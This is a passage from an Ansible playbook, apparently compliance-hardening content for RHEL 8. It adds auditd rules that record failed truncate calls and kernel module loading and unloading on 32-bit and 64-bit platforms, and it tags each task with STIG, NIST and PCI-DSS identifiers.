    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_truncate
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for truncate EPERM for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - truncate
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of truncate in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - truncate
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of truncate in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_truncate
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Ensure auditd Collects Information on Kernel Module Unloading - delete_module
      - Set architecture for audit ['delete_module'] tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - DISA-STIG-RHEL-08-030390
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - audit_rules_kernel_module_loading_delete
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure auditd Collects Information on Kernel Module Unloading - delete_module
      - Perform remediation of Audit rules for ['delete_module'] for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - delete_module
        syscall_grouping:
        - create_module
        - delete_module
        - finit_module
        - init_module
        - query_module

    - name: Check existence of delete_module in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/modules.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/modules.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=modules
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - delete_module
        syscall_grouping:
        - create_module
        - delete_module
        - finit_module
        - init_module
        - query_module

    - name: Check existence of delete_module in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=modules
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030390
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - audit_rules_kernel_module_loading_delete
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure auditd Collects Information on Kernel Module Unloading - delete_module
      - Perform remediation of Audit rules for ['delete_module'] for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - delete_module
        syscall_grouping:
        - create_module
        - delete_module
        - finit_module
        - init_module
        - query_module

    - name: Check existence of delete_module in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/modules.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/modules.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=modules
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - delete_module
        syscall_grouping:
        - create_module
        - delete_module
        - finit_module
        - init_module
        - query_module

    - name: Check existence of delete_module in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=modules
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030390
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - audit_rules_kernel_module_loading_delete
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure auditd Collects Information on Kernel Module Loading and Unloading
      - finit_module - Set architecture for audit ['finit_module'] tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - DISA-STIG-RHEL-08-030360
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - audit_rules_kernel_module_loading_finit
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure auditd Collects Information on Kernel Module Loading and Unloading
      - finit_module - Perform remediation of Audit rules for ['finit_module'] for
      32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - finit_module
        syscall_grouping:
        - create_module
        - delete_module
        - finit_module
        - init_module
        - query_module

    - name: Check existence of finit_module in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/modules.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/modules.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=modules
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - finit_module
        syscall_grouping:
        - create_module
        - delete_module
        - finit_module
        - init_module
        - query_module

    - name: Check existence of finit_module in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=modules
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030360
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - audit_rules_kernel_module_loading_finit
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure auditd Collects Information on Kernel Module Loading and Unloading
      - finit_module - Perform remediation of Audit rules for ['finit_module'] for
      64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - finit_module
        syscall_grouping:
        - create_module
        - delete_module
        - finit_module
        - init_module
        - query_module

    - name: Check existence of finit_module in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/modules.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/modules.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=modules
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - finit_module
        syscall_grouping:
        - create_module
        - delete_module
        - finit_module
        - init_module
        - query_module

    - name: Check existence of finit_module in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=modules
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030360
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - audit_rules_kernel_module_loading_finit
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure auditd Collects Information on Kernel Module Loading - init_module
      - Set architecture for audit ['init_module'] tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - DISA-STIG-RHEL-08-030360
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - audit_rules_kernel_module_loading_init
    - configure_strategy
    - low_complexity
